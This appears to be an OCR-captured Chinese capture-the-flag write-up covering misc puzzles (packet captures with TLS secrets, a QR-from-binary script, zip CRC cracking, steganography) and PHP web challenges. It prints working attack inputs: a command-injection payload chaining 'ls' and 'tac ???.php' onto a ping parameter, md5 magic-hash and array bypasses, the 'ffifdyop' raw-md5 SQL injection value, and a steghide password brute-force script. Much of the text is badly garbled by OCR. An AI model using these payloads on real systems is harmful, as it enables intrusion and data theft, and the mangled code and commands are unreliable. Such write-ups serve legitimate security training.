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Frame 45: 593 bytes on wire (4744 bits), 583 bytes captured (4744 bits) on interface \Device‘NPF_{SBS2FCES.3552-41FD -840C- FECEERFD
Ethermet II, Src: ImtelCor SG:6c:Sb (38:99:25:36:6c:50), Dst: Guangdom 82:14:89 [a4:12:32:62:14:63)

Intermet Protocol Wersion 4, Src: 182.188.43.1689, Ost: 39.99.247.28

Transaission Conirol Protocol, Src Port: 53185, Dst Port: B8, Seq: 1, Ack: 1, Lon: 530

Mot 3990, 4728\

Connection: keep-aliveirin

Cache-Control: max-agesdirin

Upgrade- Insecure-Requests: 1w

User-Agent: Mozillas5.0 (Windows WT 10.0; Windd; wéd) AppleWebKit 537.36 (KNTML, like Gecko) Chrose /84,0 4147.125 Safari/537.36'
decept: text/himl application/xhislsxml, application/xal;g=0.0, inage webp, Imagesapng, °/* ;q=0.8, applicat ion/signed - exchange v=bd ;)
Accept-Encoding: grzip, deflatetrin

Accept-Language: h-CN, rh;g=8.9%rn

If-Mone-Match: “dad-Sad34pi66cabi®yrin

If-Modified.Since: Wed, 10 Awsg 2020 65:80:18 GMTwrin

wrvn

[Full reguest URI: http://39.99.247.28/fontss1]

[ATTF request 471]

[Fesponse in frame: 45] \
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545be75716228b35eB602c2264502786c94acf2d0d858e0beB529158%9e251b63

CLIENT TRAFFIC SECRET @ f52dbb843bb7035d499c5b234e7615506decebf1b209762dd93a5ac
d701e889f960d49d6c02f36c42dcbO7517f3e002198308d5ce9dcd32ef32d6c3
SERVER_TRAFFIC_SECRET_© f52dbb843bb7035d499¢c5b234e7615506decebf1b209762dd93a5ac
dedadca29ed4Tadc2bTed9f254fc391flaSec2bb465befb55a2¢5¢322¢77121d
EXPORTER_SECRET f52dbb843bb7835d499c5b234e7615506decebflb209762dd93a5acb64d9ed49e
a03de9d1728cfedd587e8bdf6ebSabd43b9bb23784c6044983ba706692e94914

CLIENT RANDOM97aea926d6fblbad2e9ceb930d819c35dcl3b879492fef88a2eebdT7ed3d8c3fe
1f9f13ee505e3310b3b4ce3dcd3254e55906aed5f876179245ad2904931f1e5ce2c943534Fc4700
CLIENT RANDOMeS6fcafef3d4ldddcfO08c404792e7da7fT7aebb84f73636d55768614561e72129
1f9f13ee505e3310b3bdce3c43254e55906aed5T876179e45ad2904931fle5ce2c9435341c4700
CLIENT RANDOMb24763c3f62eBaflbca7bbbed3ba278B8d900ac9170559c5fb56T9f831b5eeTd2
179f13ee505e3310b3bdce3cd3254e55906aed5T876179e45ad2904931Fle5ce2c943534Tc4700
CLIENT HANDSHAKE TRAFFIC_SECRET de@6c95c8bTe6ffbe3293cb652d097b31768c8211c25¢716
B966197f19789013c79f67362ceB25747a7919464da61ce298b64dT713579828d4
SERVER_HANDSHAKE TRAFFIC_SECRET d06c¢95¢8b7e6ffbe3293cb652d097b31768c8211c25¢716
88ddbd37dc096ea3f3cB258414607d7084cbd4bp0719231e08afc9b0eBbb65Th

CLIENT TRAFFIC SECRET O d86c95cBb7e6ffbe3293cbb52d897b31768c821fc25c7166T09e2eb
8548a64e18becl1569bbB70417a94901a0a145a3e5b27397bdcd49227faa81626
SERVER_TRAFFIC_SECRET_© d@6c95c8bTe6ffbe3293cb652d097b31768c821fc25cT166T0%2e6
674aleldBb648353ba50T6T906ecabad65e6440c3e5592725596e09cc04e045eb
EXPORTER_SECRET d06c95¢8b7e6ffbe3293¢cb652d097b31768c821fc25¢7166T0%e22620¢2d213
85b6Bb6eB8e5041fbb171319¢cclc108a2a66fc4b47907 fb5a99669befdb7 fa3f3

flag{levell begin and level2 is come h__




BN IR A ag I PIER 2,  FFIEIXAN T GRAF T 2R, 3N LT O T THI ) PR 45 28 B e B HAO R SO 5k BL T

RGBS ET &
FRTR x
Administrator BIFEFZR(U)
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OneDrive CAUsers\Administrator\OneDrive
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Offset 0 1 2 3 4 5 & 7 8 91011 12 13 14 15 -

00261696 EE D2 A7 17 TE 18 FE 7F 76 67 DA E3 06 D2 BO DB 105 ~ p vals O°0
00261712 00 OO0 O3 20 49 44 41 54 4D 44 41 77 4D 44 41 77 IDATMD AWM Aw
00261728 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 HDAwMDAwMDAwHDAw
00261744 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 HDAWMDAwMDAWHDAw
00261760 40 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 MDAwMDAwWMDAwMDAw
00261776 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 HDAwMDAwMDAwHDAw
00261792 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 HDAWMDAwWMDAwMDAw *_
00Z61B08 40 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 MDAwMDAwWMDAwMDAw
00261624 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 HDAwHDAwMDAwHDAw
00261840 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 MDAWMDAwWMDAWMDAw
D0ZELESE 4D 44 41 77 4D 44 41 77 4D 44 41 77 4D 44 41 77 MDAWMDAwMDAwMDAW
00261672 4D 44 41 77 4D 44 41 77 4D 44 41 78 4D 54 45 78 WDJvei{DRosDioiTE
00261888 4D 54 45 78 4D 54 45 78 40 54 45 77 4D 44 41 77  MTExMTE=MTEwWMDAw
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MDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAwWMDAw
MDAWMDAWMDAXMTEXMTEXMTEXMTEWMDAwWMDAwWMTAWMTEWMDAWMTAWMD AWMDAWMD EXMTAWMDAXMTEXMTEXM
TEXMTAWMDAXMTEXMTEXMTEXMTEWMDAWMDAWMTEWMTEXMDAWMTAWMDAWMDAWMD ExXMTAWMDAXMTEXMTEXMTEx
MTAWMDAXMTAWMDAwWMDAWMTEWMD EwMD ExXMTEXMTEWMD EWMDAWMDAWMDAXMTAWMTEXMDAXMDAwWMDAwWMDAwW
MTAWMDAXMTAWMDAwWMDAWMTEWMD EwMDAWMTEWMTEWMD EWMDAWMDAWMDAWMDAXMTEXMDAXMDAwWMDAwWMDA
WMTAWMDAXMTAWMTEXMTAWMTEWMD EWMDAWMTAWMTEWMD EwMD EXMTAWMDAWMD EXMTAXMDAXMDAXMTEXMTAw
MTAWMDAXMTAWMTEXMTAWMTEWMD AWMTAWMD AWMDAXMTEWMD EXMTEXMTEWMD EWMDAWMDAXMDAXMTEXMTAWM
TAWMDAXMTAWMTEXMTAWMTEWMD AWMDAWMDAWMDAXMTEWMD EXMTEWMTEWMD EWMDAWMDAXMDAXMTEXMTAWMT
AWMDAXMTAWMTEXMTAWMTEWMD EXMTAWMTAWMTEXMTEXMTEXMTAWMTEWMD EXMTAWMDAWMDAXMTEXMTAWMTAWM
DAXMTAwWMDAwWMDAwWMTEwWMD ExXMDAWMDAWMDAWMTEXMTAWMTEWMTEWMTEWMD AWMDAXMDAWMDAWMDAWMTAwW



MDAXM IAWMDAwWMD AwM | EwWMD EwMD EXMDAWMD AwWMD ExM | AWMD ExXM T EXM T EwWMD EXMDAXMDAWMD AWMDAWM | Aw
MDAXMTEXMTEXMTEXxMTEWMD EwMD EXMDAXMDAXMDAXMTAWMTEWMTEWMD EwMD EXMDAXMTEXMTEXMTEXMTAWMDA
XMTEXMTEXMTEXMTEWMD EWMDEXMDAXMDAXMTAWMDAWMTAWMTEWMD EWMDEXMDAXMTEXMTEXMTEXMTAWMDAwMD
AwMDAWMDAwWMDAWMD EwMDEXMTEXMTEWMD EwWMDExMDAWMTEXMDAWMTAWMDAwWMDAwWMDAwWMDAwWMDAwWMDAw
MDAwWMDAwWMDAwWMDAwWMD EwWMDAXMTEXMTAWMD EwMDExXMDAWMD ExMTAXMTAWMD AwWMDAwWMD AwWMDAwWMDAwMD
AXMTEWMD ExXMDAWMTEXMTAWMDAWMD AXMDAwWMDAwWMD EXMDAWMDAXMTEXMTEXMDAXMTEXMDAWMTEXMDAWMDA
wMTEWMDAwWMDAwWMDAwWMDAwWMDAwWMDAXMD AwMD AwMD ExMDAwWMDAwWMDAwWMD ExMDAXMDAwWMDAwWMDAwWMDAw
MDAwMDEwMDAwWMDAXMDAwWMD ExMTAWMDAXMDAwWMDAWMTEXMTAWMTEWMD AwMD ExXMDAwWMDAwWMD EwMDAwMD
AWMDAXMTEWMD EXMDAXMTEXMTEWMDAwWMDAwWMDAwWMDAwWMD EWMDAXMDAXMTEWMD EXMTEXxMDAwWMDEwWMDEXMD
AWMDAXMTEWMD EXMDAXMTEXMTEWMDAwWMDAwWMDAwWMDAwWMD EXMDAXMDAXMTEWMD EXMTEXMDAWMDEwWMDEXMDA
WMDAXMTAWMTEXMDAWMDAWMD EXMTEXMDAWMDAWMD EWMDAWMTAWMDAWMTAWMTAWMTEXMDAWMDAWMTAWMTA
wMDAWMDAXMTAwWMD AwMDAWMTEXMD EXMDAwWMD AWMTEXMDAWMTAWMDAXMTAWMD AWMTEXMDAwMDAwMD AwMD
AwWMDAWMDEXMTAWMDAWMTEXMTEWMD ExXMDAWMDAXMTEXMTEXMTAWMDAXMTAWMD EXMTEXMTEWMD EwWMDAWMDA
WMDAWMDAWMTEXMDAXMDAXMTAwWMD AwMD AwWMD AXMTAWMDAWMTEXMD AXMTEWMD EXMTEXMDAXMDAWMTAWMTAwW
MDAwWMDAWMTEXMDAxMDAxMDAwMDAwWMDAwWMD AXMDAWMDAWMTEXMDAXMTEWMD EXMTEXMDAXMTAWMTAWMTAWM
DAWMDEXMTAWMDAWMTEWMD EXMTEXMTEXMDAWMDAWMD EXMTAWMD AXMTEXMTEXMDAWMDAXMTEWMDEXMTAWMDA
wMDExMDAwMDAwMD EwMD EXMTEXMTEwWMDAwWMD AwWMD EXMTAWMDAXMTEXMTEXMDAWMDAWMTEWMDAXMTAWMDA
wMDAwWMDAWMTAWMDAwWMD EwMDAwWMDAwWMDAwWMDAwWMD ExXMDAWMD AXMTEWMD EXMDAXMDAwWMDAWMTAWMTAwWM
DAWMDAwWMDAwWMDAwWMDAWMTEWMDAwWMDAwWMDAwWMDAWMDAwWMDAWMDAXMTEWMD ExMDEXMTAwWMDAwWMDAwWMDA
wMDAwWMD EwMDAXMDAXMTEXMTEwMD AWMTAWMDAWMD AWMTAWMD AWMD EXMTEXMTEXMTAXMTEXMTAWMD AwMD Aw
MDAwMDExMDAwWMDAWMDAXMTEWMDAWMDAWMTEXMTEXMTAWMTEWMD AwWMDAXMTAWMDAwWMDAwWMDEwWMDAWMDA
wMDAwWMD ExXMTAWMD AwWMDAXMTEWMDAWMDAWMTEXMTEXMTAWMTEXMDAwWMD AWMTAWMD AwWMD AwWMD EwMDAwWMD
AWMDAXMTEWMDAWMTAWMTEXMTEXMTEXMTEXMDAWMDAWMD EXMTAWMTEXMDAWMD ExXMDAWMDAXMTAWMDAWMDA
WMDAXMTEXMDAWMTEWMDAXMDAXMTAWMTEXMDAwMDAwWMD ExMDAwWMD EXMTAWMD ExMDAWMDAWMDAwWMDAWMDA
WMDAXMTEXMTAWMTEXMDAXMTAWMTAWMTAXMTEXMTEXMTEXMDAXMTEXMTAWMD AXMDAXMTEWMD EXMTEXMTAWMD Ax
MTAWMDAWMTEXMTEWMDAWMTAWMDAwWMDAwWMD EWMDAWMDAWMTEXMTAWMD ExMDAWMDAWMD EXMTAWMTAWMDAXx
MDAwWMDAWMTEXMTEwWMDAWMTAWMD AwWMDAwWMD EwMDAwWMDAWMTEXMDAwWMD EXMDAWMDAWMDEXMTAWMTAWMDA
wMDEXMDEXMTAwWMDAwWMD ExXMTAWMD AwMD AwWMD AwMDAWMD AXMTEWMDAWMD EXMTEXMDAWMDAXMTAWMTAWMDA
WMTEXMTEXMTAWMDAwMD ExMDAwMDAwMD AwMD AwWMD AWMD EXMTAWMD AWMDAXMTAXMDAwWMDAWMTAWMTAWMDA
XMTEXMTAWMDAWMTEWMD EWMDAWMTAWMD AWMDAWMD EXMTEXMDAwWMD EwWMDAwWMDAwWMDAXMTAWMD EwMDAwWMD
AWMTEXMTAwMDAwMDAwMD EwMDAWMTEWMD AwMDAwWMD AwWMD AWMD AWMTEWMD AWMDAWMDAXMTAWMD AwMD Aw
MDAwWMDEXMTAWMTAWMDAwWMD EwMD EXMTEXMDAwWMD ExXMTAWMD AwWMD AXMTEWMDAWMDAWMTEXMDAWMTAWMD Aw
MDAXMTAWMTEXMDAWMTEXMTEWMD EXMTEXMDAXMTEXMTEXMTAWMD AXMDEWMD EXMTEXMTEXMTAWMDEXMDAwWMDA
XMDAWMTEXMDAWMTEXMTEWMD EXMTEXMDAXMTEXMTEXMTAWMDAXMTEWMD EXMDEXMTEXMTAwWMD ExXMDAwMDAwMD
AwMDAwWMDAwWMDAwWMD EwMD ExMDAXMDAXMTEWMD AwWMDAXMTEWMDAXMTEXMDAwWMDAXMTAWMDAWMTAWMD AWM
DAWMDAwWMDAwWMDAwMDEwMD ExMDAwWMD AXMTAWMDAWMDAWMTEWMDAwWMD EXMDAWMD AXMTAWMD AWMTAwWMDAX
MTEXMTEXMTEXMTEWMD EwWMDEXMDAWMTEXMDAWMTEWMDAWMTEXMTAWMD EXMDAXMDAXMTAWMTEXMTAWMDAXMTA
wMDAWMDAWMTEWMDAWMTEXMTAWMD AWMDEXMTEXMTEXMDAXMTEWMDAXMDAWMDAXMTAWMTEXMDAWMDAXMTAwW
MDAWMDAWMTEWMDAWMTEXMTAWMDAWMD EXMTEXMTEXMDAXMTEwWMD EXMDAWMDAXMTAWMTEXMDAWMDAXMTAwWM
TEXMTAWMTEWMDAWMTAWMDAXMDAWMDAWMTAWMDAXMDAXMTEWMD EXMTEXMTEXMTAWMDAwWMDAWMDAXMTAWMT
ExMTAWMTEWMDAWMTAWMDAXMDAwWMDAXMTAWMDAXMDAXMTAWMDAXMTEXMTEXMDAwWMDAWMD AWMDAXMTAWMTEX
MTAWMTEWMD EwWMDEXMDAWMTEXMTEXMTEXMDAwWMTEXMTEWMDAWMTEXMDAwWMD ExXMDEXMTAWMDAXMTAWMTEXMT
AWMTEWMDAwWMD EXMDAwWMTEwWMDAwWMDAwWMDAWMDAWMTEWMDAWMDAWMDAWMD ExMDEXMTAWMDAXMTAWMTEXM
TAWMTEWMDAwWMD EXMTEXMTEWMDAWMDAWMTAWMDAXMTEWMD EXMDAWMDAWMDAWMD EXMTAWMDAXMTAwWMDAwWM
DAWMTEWMD ExXMTAWMTAWMTEXMDAWMD EXMDAXMTEXMTAWMD EXMTEXMTEXMTEXMTAWMDAWMDAXMTAWMDAWMDA
wWMTEWMDEXMTAWMTAWMTEXMDAWMD EXMDAXMTEXMTAWMDEXMTEXMTEXMTEXMTAWMDAWMDAXMDEXMTEXMTEXMD
EwMDEwWMDEXMTEXMTEWMD EXMTEXxMDAXMDAXMTEWMD EXMTEXxMTAWMD AwMD ExXMDAwWMDAwWMD AwWMDAwWMDAwMD
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H# Fpythonfii A

* A

Image

new( , (MAX, MAX))

)
(0,MAX):

(0,MAX):
[i] = ):
pic.putpixel([x,y], (0, 0, 0))

pic.putpixel([x,y],(255,255,255))
i+

show()

save(

hitps://blog.csdn.net/

1ERIA baseBAMRE iR — IS Blstr=""2 T
{BRIX B # pythonfI PIL
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# python flagQR.py
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© leveld.zip - Bandizip 7.09 (Standard)
HF) #WE(E) =R() ED(O) WE(v) IR #ENH)

% leveld.zip

W leveld,jpg

og.csdn.net/

Input jpeg
Director C:\Users\Admninistrator\Desktop

Filename leveld. ipg

Enter the pass phrase and confirmation

F*t!*tw k
|:w::mm* r'

J 0K I Cancel !
Filename
File=ziz Eb

e T —A



Input jpe
Directos C: \Usnmhimﬂutur\h’rh'np
Filename leveld. ipg
Filesiz G6Kb  Width 129 pixel Height 201 pixel
Approximate max 1 kb reconmendsd I kb

Hidden

Directos C: \Users\Adminiztrator\Desktop
Filenams 222

Filesiz 1kb

Directon
Filename

Filesis b

Thiz jpeg file already comtaine a hidden file

FHitE A8 # F notepad++3T FF & & 3k fHflag 19 55 1Y 55 4
[J C\Users\Administrator\Desktop\222 - Notepad + + [Administrator]
MEF) R|E\BE) =EES) WEM R®EN) EEL 280 IBO) =M) EFR)
cHEHRG R LB iR Pty @x|BRE|=1E
B fl==0R ovbd H 22203 |
1 | https://pan.baidu.com/s/1043v4UGkmleP-_RViC25a0w

2 mrpt
3

4 level4_here_all 4=

RJERIIX B A — % 8 B W B A SR B
ERAME -NEHE

TESEITIT G AR L) Hiflag
#3 =8 EXIA

» levelS

i
-
. CETTO ZIP N ZIP

1.png level3.png level5.zip level7 zip

*
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ect=0.4-wir
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levelb.zip
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plain text do.. 2032

plain text do...

plaintextdo.. ;
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pr 3.
RiR, BHNFHRASETS ERRINEIFT) , SNERITRL, WHEERZME
BTESEMARRT. —RELEREEFREXS, BTG MMNTFEET, IR

: 01~Tom
# python3 crack.py levelé.zip

reading zip files...

file found: level6.zip ,

file found: level6.zip ,

file found: level6.zip /

compiling ...

searching ...

crc found:

crc found:

crc found:

crc found:

crc found:

crc found:

crc found:

crc found:

crc found:

crc found:

done

b b b G B L W W N

yherayh

BEXARS. 4. 55T, MALLEOHERMLERS. 4. Sfrshikitk, MHBELEFRNMFSEE, R TRAFLBRKNE=
AN E A A iflag BN

Level6_isready
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Fl  roln S A NE W BE e M hva @ N waANER

FEaESaR

BaitX =

WERMRRRESTR

Bt EBREH T B EMTE R
REBEEEFEILER, RUTHE ITXEERERE, WLERE RS HAMTABA B 2 85 56 vT AR 2 2 I SNOWRR B
2, HTMLEA S5/

snow E—RIERmMIBAREESNANRY, ENRESNTENFXHFNFRRBRAZENRE
UMALBAREER, TREBRSHERUMEASHEETENERAER.

G Ol Daws DRl () stmEs Ouae Oor NEg Bre |
i +

<!DOCTYPE heml> =E O
<l--saved from url=(0022)hteps.//www.baldu.com/--> 3
<html> [event R

body L3
heig
w<body class="is-lite s-manhattan-index" style=""> miri-
curs
[ <!--How did it become a blank , maybe you should pass (no one can find me) l]

oy bod

L4 i Nt ¥
posi
b s_inde _E€s d no Sy
w<div id="wrapper® class="wrapper_new"> :
1 ( body.is-lite.s-manhattan-index » div h * i » div ) bodv 3

HEXFHSNOWRE TAEBMY, HEXENXER T —A#5 EmKno one canfind me
MBFN—T, BARLELR?

Snow web-page encryption/decryptic

Also sew the applet version jsnowapn which can work with local files instead of URAL's.

URLs used balow must ba direct, |.e. they must not generate a redirect, otherwise It won't work,
Decryption
UAL containing concaaled message:

hittpe/ £ 309,69 247 28%Snal_jovel

Password: [no one can find me ]
" A

Encryption

URL 1o conceal messans inc

fRE1E Hiflagh B 5 — 34>

C 0 ©® L2  fog.misty.com/

HE N H H En
the misc_examaaaaaaa !!!}

N



W5 B I AlagFT A 57 AT HF S

flag{levell begin_and_level2_ is comelevel3 start_itleveld here_alllevel5 is_aaalevel6_isreadylevel7isherethe_mi

sc_examaaaaaaa_!!!}
558 Y S5 B

upload

TREMBREER A .pcap » TIFEEB|—FKEBIEIEH T5E

4 11.014366 192.168.189.1 192.168.109.132 TCP 1514 61881 + 80 [ACK] Seq=1449 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
511.014360 192.168.109.1 192.168.109.132 TCpP 1514 61881 + 80 [ACK] Seq=2897 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
6 11.014363 192.168.109.1 192.168.109.132 TCP 1514 61881 + 80 [ACK] Seq=4345 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
7 11.014364 192.168.109.1 192.168.109.132 TCpP 1514 61881 + 8@ [ACK] Seq=5793 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
8 11.014364 192.168.109.1 192.168.109.132 TCP 1514 61881 + 80 [ACK] Seq=7241 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
9 11.0143e5 192.168.109.1 192.168.109.132 TCpP 1514 61881 + 8@ [ACK] Seq=8689 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
10 11.014366 192.168.189.1 192.168.169.132 TCcp 1514 61881 + 8@ [ACK] Seq=18137 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
11 11.014367 192.168.1689.1 192.168.109.132 TP 1514 61881 + 8@ [ACK] Seq=11585 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
12 11.014367 192.168.189.1 192.168.169.132 TCP 1514 61881 + 8@ [ACK] Seq=13@33 Ack=1 Win=514 Len=1448 TSval=1927417686 TSecr=23681559 [TCP segment of a reassembled PDU]
13 11.016436 192.168.189.1 192.168.109.132 TCP 1514 61881 ~ 80 [ACK] Seq=14481 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
14 11.016437 192.168.1089.1 192.168.109.132 TCpP 1514 61881 + 8@ [ACK] Seq=15929 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
15 11.016438 192.168.189.1 192.168.109.132 TCP 1514 61881 ~ 80 [ACK] Seq=17377 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
16 11.016441 192.168.189.1 192.168.109.132 TCpP 1514 61881 + 8@ [ACK] Seq=18825 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
17 11.016441 192.168.189.1 192.168.109.132 TCP 1514 61881 ~ 80 [ACK] Seq=28273 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
18 11.016442 192.168.169.1 192.168.109.132 TCP 1514 61881 + 8@ [ACK] Seq=21721 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
19 11.016443 192.168.1089.1 192.168.169.132 TCcp 1514 61881 + 8@ [ACK] Seq=23169 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
20 11.016443 192.168.189.1 192.168.109.132 TP 1514 61881 + 8@ [ACK] Seq=24617 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
21 11.016444 192.168.189.1 192.168.169.132 TCP 1514 61881 + 8@ [ACK] Seq=26@865 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
22 11.016445 192.168.189.1 192.168.109.132 TCP 1514 61881 ~ 80 [ACK] Seq=27513 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
23 11.016445 192.168.1089.1 192.168.109.132 TCpP 1514 61881 + 8@ [ACK] Seq=28961 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
24 11.016446 192.168.189.1 192.168.109.132 TCP 1514 61881 + 80 [ACK] Seq=38409 Ack=1 Win=514 Len=1448 TSval=1927417689 TSecr=23681561 [TCP segment of a reassembled PDU]
Jr 25 11.016447 192.168.189.1 192.168.109.132 HTTP 381 POST /steghide.php HTTP/1.1 (JPEG JFIF image)
= 6 T 820433 19216810913 TortesT1es T HTTP 65 HTTP7 T 1208 0K

BEETCPH, KRBT XM, XXf:k#filename, e —ikEA

POST /steghide.php HTTP/1.1 "
Host: 192.168.169.132

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; x64; rv:79.0) Gecko/20180101 Firefox/79.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=-------------~--~——~—~—~—~—~—~—~———- 29061997724583521833788658882
Content-Length: 31586

Origin: http://192.168.109.132

Connection: keep-alive

Referer: http://192.168.1089.132/

Upgrade-Insecure-Requests: 1

............................. 29061997724583521833788658882
Content-Disposition: form-data; name="file"; filename="steghide.jpg"

Content-Type: image/jpeg - \
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27 E e S RS HEE 1 aente)

B IPEG File Interchange Format HRSH>AEZTR, F8Npg, MAUUEL—KERT

v MIME Multipart Media Encapsulation, Type: multipart/form-data, Boundary: "-----------~--~—~————— - 29061997724503521833788658882"
[Type: multipart/form-datal



First boundary: ----------—----oooo—__o 29061997724503521033788658882\r\n
v Encapsulated multipart part: (image/jpeg)
Content-Disposition: form-data; name="file"; filename="steghide.jpg"\rin
Content-Type: image/jpeg\ri\n\rin
JPEG File Interchange Format

EFIERFCHLE SR, ABRSIEERET —TFTERENMNEESRME, fEkaliziEs
i steghide info a.jpg RINFHEEH# NEY

root@LuoQiChen: ~/Desktop

XHF(F) imiE(E) SB(V) BER(S) Lim(T) #BEIH)
:~# cd Desktop
:~/Desktop# s
flag.txt
:~/Desktop# steghide info a.jpg
format: jpeg
capacity: 1.6 KB
get information about embedded d ?o(y/ ¥

A5 P DA B A 2 7 8 o




#bruteStegHide. sh
#!/bin/bash

for line in “cat $2° ;do
steghide extract -sf $1 -p $line > /dev/null 2>&1
if $? -eq @ then
echo 'password is: '$line
exit
fi
done

BEIENDN 123456 , WAL E RN IRGlag XOCHFE R, H steghide extract -sf a.jpg 3KEflag. xS Hcat&E &
flag

# steghide extract -sT a.jpg

E3)
FTFFI B R B2 A SN

IsEF— T KU Fflag.phpAlindex.php
&« C 0 @ F== 39.96.23.228:10002/?ip=127.0.0.1;Is
CTF E=Es FiEEE =R E=1E Python

<?php
highlight file("index.php”):

if (preg_match(*/flag/i”, $_GET["ip"1i1)
{

H

die(“no flag”):
syvstem("ping -c 3 F_GET[ipl”");

>
flag.php index.php

BT uE T flag, BREAERA?RED, KBcath T, LR RF B R GtaciTLl, #H

< C Y ©® F==| 39.96.23.228:10002/7ip=127.0.0.1;tac%202??2.php
cTE e FEEE 27 E=I8 Python F=H
<?php

highlight file("index.php”):
if (preg_match(*/flag/i”, $_GET["ip"1i1)}
{

die(“no flag”);
1

system(“ping -c 3 $_GET[ipl”}:

7
$flag = "flag{l_like_ qwb_web}";

Funhash



TIOTEEEEE RN, RIAMNZRET =X

<?php
include " comm. php’
highlight file(”index.php”);
Filevel 1
if  ($_GET["hazh1"] '= hash(*mdd4", $_GET["hash1®]1}}
{
die( level 1 failed ):
1

Fflewvel 2
if (3_GET[ hash2’] === $_GET[ hash® ] || mdS(f_GET[ hash2’ 1} '== mdG{$_GET[ hash3 1))
{
diei{ lewvel 2 failed ):
!

filewvel 3
foquery = “SELECT # FROM flag WHERE password = °% . md5(3 _GET["hash4”],trus) . “7°:
fresult = 3Imysqli-rquery(fquers) .

frow = $result-rfetch_assoc();

var_dump ($row) ;

fresult-sfree() ;

tmy=sqli-rclosel) ;

7>
level 1 failed

level

//level 1

if ($_GET["hash1"] != hash("md4", $ GET["hash1"]))

{

die('level 1 failed');



%N hashl KIfE, BEZTHIMAAMEERE, MANEEWESEMSE.
IX PR md5($_GET['a'])==md5($_GET['a']) EA %

PHPFEALE G 7 208 o Tk M# R 0, FTCA#R—A> ok JF k745 B HH IS A (H R oF JF kK
HFEEIBtiAcode

$b = hash("md4",$a);
echo %b;

run (ctri+r) || &A SEHEIE  diEE, SERE TS

® ¥EAAER O htmALETR

0De25128801% Deb74956163641961271069404232409

BER KT — 00251288019 iX™md4 5 2 ok 5K, Frlh
payload: ?hash1=0e251288019

level2
if 'hash2'] === 'hash3'] || md5 "hash2' l== md5 'hash3'

die('level 2 failed'



FE hash2 FAEEM hash3 £ ELE hash2 BIMASANEER hash3 HImd544%:
% Bt ] DA S geat
& C ﬂ' 0] H:?E§| 39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2
CTF =R FEEE =8 E=I1IE Python F3IM REEE F

<?php
include " comm. php’
highlight file(”index.php”);
Filevel 1
if  ($_GET["hazh1"] '= hash(*mdd4", $_GET["hash1®]1}}
{
die( level 1 failed ):
1

Fflewvel 2
if (3_GET[ hash2’] === $_GET[ hash® ] || mdS($_GET[ hash2’ 1} '== mdG{$_GET[ hash3 1))
{
diei{ lewvel 2 failed ):
!

filewvel 3

fquery = “SELECT #* FROM flag WHERE password = °" . mdS($_GET["hashd"],true} . “7°;
fresult = $mysqli-rquery(fquery)

frow = Jresult->fetch assoc():

war_dump ($row)

fresult->freel);

fmysqli-sclose ()

£
NULL

MR payload: ?hash1=0e251288019&hash2[ ]=1&hash3[]=2

level3

$query = "SELECT * FROM flag WHERE password = '" . md5($ GET["hash4"],true) . "'";
$result = $mysqli->query($query);

$row = $result->fetch _assoc();

var_dump($row);

$result->free();

$mysqli->close();



1REA B REsqVE N Fflhashd: &, &% BNtk iR #i&payload ~
?hash1=0e251288019&hash2[ ]=1&hash3[ ]=2&hash4=ffifdyop

< C (0 ® F==| 39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=ffifdyop

CTF aEER REEE fZie BF=IR Python M REEEE F&

<?php

include  conn. php' ;

highlight file("index.php"):

Filevel 1

if (3 GET["hash1”] = hash("mdd”. $_GET["hashi*]1}}
{

1

die("level 1 failed };

filevel 2
if ($_GET[ hash2 ] === §_GET[ hash3] || md5($_GET[ hash2’ ]} '== mnd5($_GET[ hashi 1))
{

H

die("level 2 failed' )

Fiflevel 3

fquery = “SELECT * FROM flag WHEEE password = " . mndS($ _GET["hashd4”].trues) . 7"
$result = S$myzqli-rquery($query);

$row = S$result-rfetch_assoc();

war_dump (frow) ;

